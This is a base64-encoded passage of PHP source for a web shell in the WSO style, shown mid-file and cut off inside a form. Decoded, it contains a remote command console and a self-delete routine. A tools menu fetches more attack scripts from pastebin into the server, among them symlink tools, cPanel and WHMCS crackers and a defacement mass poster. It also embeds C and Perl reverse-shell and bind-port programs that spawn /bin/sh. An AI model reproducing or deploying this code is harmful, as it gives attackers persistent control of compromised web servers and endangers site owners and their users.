Jy4kdGVtcC4nPC9wcmU+JzsKICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgewogICAgaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7CiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgZWNobyAiZG9jdW1lbnQuY2YuY21kLnZhbHVlPScnO1xuIjsKICAgICAgICAkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOwogICAgICAgIGlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkgICAgewogICAgICAgICAgICBpZihAY2hkaXIoJG1hdGNoWzFdKSkgewogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOwogICAgICAgICAgICAgICAgZWNobyAiZG9jdW1lbnQubWYuYy52YWx1ZT0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7CiAgICAgICAgZWNobyAiZG9jdW1lbnQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsKICAgICAgICAkdGVtcCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIHByaW50SGVhZGVyKCk7CgplY2hvICc8c2NyaXB0PgppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOwp2YXIgY21kcyA9IG5ldyBBcnJheSgiIik7CnZhciBjdXIgPSAwOwpmdW5jdGlvbiBrcChlKSB7CiAgICB2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsKICAgIGlmKG4gPT0gMzgpIHsKICAgICAgICBjdXItLTsKICAgICAgICBpZihjdXI+PTApCiAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKICAgICAgICBlbHNlCiAgICAgICAgICAgIGN1cisrOwogICAgfSBlbHNlIGlmKG4gPT0gNDApIHsKICAgICAgICBjdXIrKzsKICAgICAgICBpZihjdXIgPCBjbWRzLmxlbmd0aCkKICAgICAgICAgICAgZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwogICAgICAgIGVsc2UKICAgICAgICAgICAgY3VyLS07CiAgICB9Cn0KZnVuY3Rpb24gYWRkKGNtZCkgewogICAgY21kcy5wb3AoKTsKICAgIGNtZHMucHVzaChjbWQpOwogICAgY21kcy5wdXNoKCIiKTsKICAgIGN1ciA9IGNtZHMubGVuZ3RoLTE7Cn0KPC9zY3JpcHQ+JzsKICAgIGVjaG8gJzxoMT5Db25zb2xlIEJveDwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9Y2Ygb25zdWJtaXQ9ImlmKGRvY3VtZW50LmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkb2N1bWVudC5jZi5vdXRwdXQudmFsdWU9XCdcJztkb2N1bWVudC5jZi5jbWQudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7fWFkZCh0aGlzLmNtZC52YWx1ZSk7aWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsKICAgIGZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgewogICAgICAgIGlmKCR2ID09ICcnKSB7CiAgICAgICAgICAgIGVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsKICAgIH0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKICAgIGVjaG8gJzwvc2VsZWN0PjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPSJhZGQoZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO2lmKGRvY3VtZW50LmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO31lbHNle2cobnVsbCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTt9IiB2YWx1ZT0iPj4iPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+U2VuZCBJdCBWaWEgQUpBWDxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDsiIHJlYWRvbmx5Pic7CiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygiJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSkpOwogICAgfQogICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXItdG9wOjE7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+JzsKICAgIGVjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmRvY3VtZW50LmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25Mb2dvdXQoKSB7CiAgICB1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsKICAgIGVjaG8gJzx0aXRsZT5HZXQgT3V0dGEgSGVyZTwvdGl0bGU+PGJvZHkgYmdjb2xvcj0jMDAwMDAwPjxjZW50ZXI+PGltZyBzcmM9Imh0dHBzOi8vczEwLnBvc3RpbWcub3JnL2d1ZjkwbGRpeC9uZXcucG5nIj48YnI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSwgYTpob3ZlciB7Y3Vyc29yOiB1cmwoaHR0cDovL2N1ci5jdXJzb3JzLTR1Lm5ldC9jdXJzb3JzL2N1ci0xMS9jdXIxMDU0LmN1ciksIHByb2dyZXNzICFpbXBvcnRhbnQ7fTwvc3R5bGU+PGEgaHJlZj0iaHR0cDovL3d3dy5jdXJzb3JzLTR1LmNvbS9jdXJzb3IvMjAxMi8wMi8xMS9jaHJvbWUtcG9pbnRlci5odG1sIiB0YXJnZXQ9Il9ibGFuayIgdGl0bGU9IkNocm9tZSBQb2ludGVyIj48aW1nIHNyYz0iaHR0cDovL2N1ci5jdXJzb3JzLTR1Lm5ldC9jdXJzb3IucG5nIiBib3JkZXI9IjAiIGFsdD0iQ2hyb21lIFBvaW50ZXIiIHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsgdG9wOiAwcHg7IHJpZ2h0OiAwcHg7IiAvPjwvYT4KPHNwYW4gc3R5bGU9ImNvbG9yOnJlZDtmb250OiAyMHB0IGF1ZGlvd2lkZTsiPllvdSBGY2tuIE91dDxicj5MT0whPC9oMj48L3NwYW4+PC9jZW50ZXI+PC9ib2R5Pic7Cn0KCmZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgaWYoJF9QT1NUWydwMSddID09ICd5ZXMnKSB7CiAgICAgICAgaWYoQHVubGluayhTRUxGX1BBVEgpKQogICAgICAgICAgICBkaWUoJ1NoaXQgR290IERlbGV0ZWQnKTsKICAgICAgICBlbHNlCiAgICAgICAgICAgIGVjaG8gJ3VubGluayBlcnJvciEnOwogICAgfQogICAgZWNobyAnPGgxPlN1aWNpZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD5Zb3UgV2FubmEgUmVtb3ZlIFNoZWxsIEZvciBTdXJlPzxicj48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCd5ZXNcJykiPlllYWghPC9hPjwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9Ci8vL215IGVkaXRpbmcgc3RhcnQgaGVyZSBmb3IgdG9vbHMKICAgIGZ1bmN0aW9uIGRvd25sb2FkX3JlbW90ZV9maWxlKCRmaWxlX3VybCwgJHNhdmVfdG8pCiAgICB7CiAgICAgICAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV91cmwpOwoKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkc2F2ZV90bywgJGNvbnRlbnQpOwoKICAgIH0KICAgIGlmIChpc3NldCgkX1BPU1RbJ2RoYW51c2gnXSkpIHsKICAgICAgICBkb3dubG9hZF9yZW1vdGVfZmlsZSgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9VTlucUVnUk4nLCByZWFscGF0aCgiLi8iKSAuICcvZGhhbnVzaC5waHAnKTsKICAgICAgICBoZWFkZXIoImxvY2F0aW9uOmRoYW51c2gucGhwIik7CgogICAgfSAKICAgIGlmIChpc3NldCgkX1BPU1RbJ1N5bWxpbmtieVNtZXZrJ10pKSB7CiAgICAgICAgZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPVBoU2s3S3ZxJywgcmVhbHBhdGgoIi4vIikgLiAnL1N5bWxpbmtieVNtZXZrLnBocCcpOwogICAgICAgIGhlYWRlcigibG9jYXRpb246U3ltbGlua2J5U21ldmsucGhwIik7CiAgIAogICAgfQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ1N5bWxpbmtieUNoZWV0YWgnXSkpIHsKICAgICAgICBkb3dubG9hZF9yZW1vdGVfZmlsZSgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9RVhlamdBTXYnLCByZWFscGF0aCgiLi8iKSAuICcvU3ltbGlua2J5Q2hlZXRhaC5waHAnKTsKICAgICAgICBoZWFkZXIoImxvY2F0aW9uOlN5bWxpbmtieUNoZWV0YWgucGhwIik7CiAgIAogICAgfQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ1N5bWxpbmtieVRvcmphbiddKSkgewogICAgICAgIGRvd25sb2FkX3JlbW90ZV9maWxlKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy5waHA/aT1ZVWc0cFhlMicsIHJlYWxwYXRoKCIuLyIpIC4gJy9zeW0ucHknKTsKICAgICAgICBlY2hvICI8c2NyaXB0PmFsZXJ0KCdTY3JpcHQgaXMgaGVyZSAvc3ltLnB5IGV4ZWN1dGUgaXQgZnJvbSB0aGVyZS5UeXBlIGluIGNvbnNvbGUgKFB5dGhvbiBzeW0ucHkpJyk8L3NjcmlwdD4iOwogICAgICAgIAogICAKICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydDcGFuZWxDcmFja2VyJ10pKSB7CiAgICAgICAgZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPXpZeHNQME1IJywgcmVhbHBhdGgoIi4vIikgLiAnL0NwYW5lbENyYWNrZXIucGhwJyk7CiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpDcGFuZWxDcmFja2VyLnBocCIpOwogICAKICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydEYmxvZ2luJ10pKSB7CiAgICAgICAgZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPVE1Mkc5a2pKJywgcmVhbHBhdGgoIi4vIikgLiAnL0RibG9naW4ucGhwJyk7CiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpEYmxvZ2luLnBocCIpOwogICAKICAgIH0KICAgIGlmIChpc3NldCgkX1BPU1RbJ0NwYW5lbGtieUd1amphciddKSkgewogICAgICAgIGRvd25sb2FkX3JlbW90ZV9maWxlKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy5waHA/aT1OTTlTRDliVicsIHJlYWxwYXRoKCIuLyIpIC4gJy9DcGFuZWxrYnlHdWpqYXIucGhwJyk7CiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpDcGFuZWxrYnlHdWpqYXIucGhwIik7CiAgIAogICAgfQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2IzNzRrJ10pKSB7CiAgICAgICAgZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPTFpRFpmalo5JywgcmVhbHBhdGgoIi4vIikgLiAnL2IzNzRrLnBocCcpOwogICAgICAgIGhlYWRlcigibG9jYXRpb246YjM3NGsucGhwIik7CiAgIAogICAgfQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydab25laE1hc3NQb3N0ZXInXSkpIHsKICAgICAgICBkb3dubG9hZF9yZW1vdGVfZmlsZSgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9bURYblNuajInLCByZWFscGF0aCgiLi8iKSAuICcvWm9uZWhNYXNzUG9zdGVyLnBocCcpOwogICAgICAgIGhlYWRlcigibG9jYXRpb246Wm9uZWhNYXNzUG9zdGVyLnBocCIpOwogICAKICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ1dobWNzJ10pKSB7CiAgICAgICAgZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPUswS1FXVUNrJywgcmVhbHBhdGgoIi4vIikgLiAnL1dobWNzLnBocCcpOwogICAgICAgIGhlYWRlcigibG9jYXRpb246V2htY3MucGhwIik7CiAgIAogICAgfQoKCgoKCgpmdW5jdGlvbiBhY3Rpb25JbXBvcnRTY3JpcHRzKCkgewogICAgcHJpbnRIZWFkZXIoKTsKZWNobyAnPHRhYmxlIGJvcmRlcj0iMXB4IiBhbGlnbj0iY2VudGVyIiBpZCA9IlREQVRvb2xzIiBjZWxscGFkZGluZz0iMTAiIGJvcmRlci1jb2xvciJncmVlbiI+PHRyPjx0ZD5PbmUgQ2xpY2sgQW5kIEdldCBUaGVtLjwvdGQ+PHRyPjx0ZD4KPGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJkaGFudXNoIiAgICAgICAgICAgICAgdmFsdWUgPSJEaGFudXNoIFNoZWxsIj48L3RkPjwvdHI+JzsKZWNobyAnPHRkPjxmb3JtIGFjdGlvbiA9IiIgICAgIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJTeW1saW5rYnlTbWV2ayIgICAgICAgdmFsdWUgPSJTeW1saW5rIFNjcmlwdCBCeSBTbUV2S19QYVRoQW4iPjwvYT48L3RkPjwvdHI+JzsKZWNobyAnPHRyPjx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJTeW1saW5rYnlDaGVldGFoIiAgICAgdmFsdWUgPSJTeW1saW5rIEJ5IEthc2htaXJpIENoZWV0YWgiPjwvYT48L3RkPjwvdHI+JzsKZWNobyAnPHRyPjx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJTeW1saW5rYnlUb3JqYW4iICAgICAgdmFsdWUgPSJTeW1saW5rIFB5dGhvbiBTY3JpcHQgQnkgVG9yamFuIj48L2E+PC90ZD48L3RyPic7CmVjaG8gJzx0cj48dGQ+PGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iQ3BhbmVsQ3JhY2tlciIgICAgICAgIHZhbHVlID0iQ3BhbmVsIENyYWNrZXIiPjwvYT48L3RkPjwvdHI+JzsKZWNobyAnPHRyPjx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJEYmxvZ2luIiAgICAgICAgICAgICAgdmFsdWUgPSJEYXRhYmFzZSBMb2dpbiBTY3JpcHQiPjwvYT48L3RkPjwvdHI+JzsKZWNobyAnPHRyPjx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJDcGFuZWxrYnlHdWpqYXIiICAgICAgdmFsdWUgPSJHdWpqYXIgUGNwIENwYW5lbCBDcmFja2VyIj48L2E+PC90ZD48L3RyPic7CmVjaG8gJzx0cj48dGQ+PGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iYjM3NGsiICAgICAJCSAgICAgdmFsdWUgPSJiMzc0ayBTaGVsbCI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dHI+PHRkPjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9IlpvbmVoTWFzc1Bvc3RlciIgICAgICAgdmFsdWUgPSJab25lLWggTWFzcyBQb3N0ZXIiPjwvYT48L3RkPjwvdHI+JzsKZWNobyAnPHRyPjx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJXaG1jcyIgICAgICAgICAgICAgICAgIHZhbHVlID0iV0hNQ1MgS0lMTEVSIFYzIj48L2E+PC90ZD48L3RyPic7CgoKCgoKICAgIAogICAgcHJpbnRGb290ZXIoKTsKfQoKCmZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwSUhzTkNpQWdJQ0JwYm5RZ1ptUTdEUW9nSUNBZ2MzUnlkV04wSUhOdlkydGhaR1J5WDJsdUlITnBianNOQ2lBZ0lDQmtZV1Z0YjI0b01Td3dLVHNOQ2lBZ0lDQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2dJQ0FnYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmRLU2s3RFFvZ0lDQWdjMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzTkNpQWdJQ0JtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzTkNpQWdJQ0JwWmlBb0tHTnZibTVsWTNRb1ptUXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLaWtnSm5OcGJpd2djMmw2Wlc5bUtITjBjblZqZENCemIyTnJZV1JrY2lrcEtUd3dLU0I3RFFvZ0lDQWdJQ0FnSUhCbGNuSnZjaWdpUTI5dWJtVmpkQ0JtWVdsc0lpazdEUW9nSUNBZ0lDQWdJSEpsZEhWeWJpQXdPdzBLSUNBZ0lIME5DaUFnSUNCa2RYQXlLR1prTENBd0tUc05DaUFnSUNCa2RYQXlLR1prTENBeEtUc05DaUFnSUNCa2RYQXlLR1prTENBeUtUc05DaUFnSUNCemVYTjBaVzBvSWk5aWFXNHZjMmdnTFdraUtUc05DaUFnSUNCamJHOXpaU2htWkNrN0RRcDkiOwogICAgJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2NwT3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVSRVZTVWlrNyI7CiAgICAkYmluZF9wb3J0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4ZFc1cGMzUmtMbWcrRFFvamFXNWpiSFZrWlNBOGJtVjBaR0l1YUQ0TkNpTnBibU5zZFdSbElEeHpkR1JzYVdJdWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDb3FZWEpuZGlrZ2V3MEtJQ0FnSUdsdWRDQnpMR01zYVRzTkNpQWdJQ0JqYUdGeUlIQmJNekJkT3cwS0lDQWdJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ5T3cwS0lDQWdJR1JoWlcxdmJpZ3hMREFwT3cwS0lDQWdJSE1nUFNCemIyTnJaWFFvUVVaZlNVNUZWQ3hUVDBOTFgxTlVVa1ZCVFN3d0tUc05DaUFnSUNCcFppZ2hjeWtnY21WMGRYSnVJQzB4T3cwS0lDQWdJSEl1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2dJQ0FnY2k1emFXNWZjRzl5ZENBOUlHaDBiMjV6S0dGMGIya29ZWEpuZGxzeFhTa3BPdzBLSUNBZ0lISXVjMmx1WDJGa1pISXVjMTloWkdSeUlEMGdhSFJ2Ym13b1NVNUJSRVJTWDBGT1dTazdEUW9nSUNBZ1ltbHVaQ2h6TENBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcEpuSXNJREI0TVRBcE93MEtJQ0FnSUd4cGMzUmxiaWh6TENBMUtUc05DaUFnSUNCM2FHbHNaU2d4S1NCN0RRb2dJQ0FnSUNBZ0lHTTlZV05qWlhCMEtITXNNQ3d3S1RzTkNpQWdJQ0FnSUNBZ1pIVndNaWhqTERBcE93MEtJQ0FnSUNBZ0lDQmtkWEF5S0dNc01TazdEUW9nSUNBZ0lDQWdJR1IxY0RJb1l5d3lLVHNOQ2lBZ0lDQWdJQ0FnZDNKcGRHVW9ZeXdpVUdGemMzZHZjbVE2SWl3NUtUc05DaUFnSUNBZ0lDQWdjbVZoWkNoakxIQXNjMmw2Wlc5bUtIQXBLVHNOQ2lBZ0lDQWdJQ0FnWm05eUtHazlNRHRwUEhOMGNteGxiaWh3S1R0cEt5c3BEUW9nSUNBZ0lDQWdJQ0FnSUNCcFppZ2dLSEJiYVYwZ1BUMGdKMXh1SnlrZ2ZId2dLSEJiYVYwZ1BUMGdKMXh5SnlrZ0tRMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIQmJhVjBnUFNBblhEQW5PdzBLSUNBZ0lDQWdJQ0JwWmlBb2MzUnlZMjF3S0dGeVozWmJNbDBzY0NrZ1BUMGdNQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lITjVjM1JsYlNnaUwySnBiaTl6YUNBdGFTSXBPdzBLSUNBZ0lDQWdJQ0JqYkc5elpTaGpLVHNOQ2lBZ0lDQjlEUXA5IjsKICAgICRiaW5kX3BvcnRfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsKICAgIAogICAgZWNobyAnPGgxPk5ldHdvcmsgVG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KICAgIDxmb3JtIG5hbWU9XCduZnBcJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5wYXNzLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KICAgIDxiciAvPjxzcGFuPkJpbmQgUG9ydCAvYmluL3NoPC9zcGFuPjxici8+CiAgICBQb3J0OiA8aW5wdXQgdHlwZT1cJ3RleHRcJyBuYW1lPVwncG9ydFwnIHZhbHVlPVwnNDQzXCc+IFBhc3M6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwYXNzXCcgdmFsdWU9XCdEMzRENVwnPiBTY3JpcHRzOiA8c2VsZWN0IG5hbWU9InVzaW5nIj48b3B0aW9uIHZhbHVlPVwnYnBjXCc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdicHBcJz5QZXJsPC9vcHRpb24+PC9zZWxlY3Q+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgogICAgPC9mb3JtPgogICAgPGZvcm0gbmFtZT1cJ25mcFwnIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC5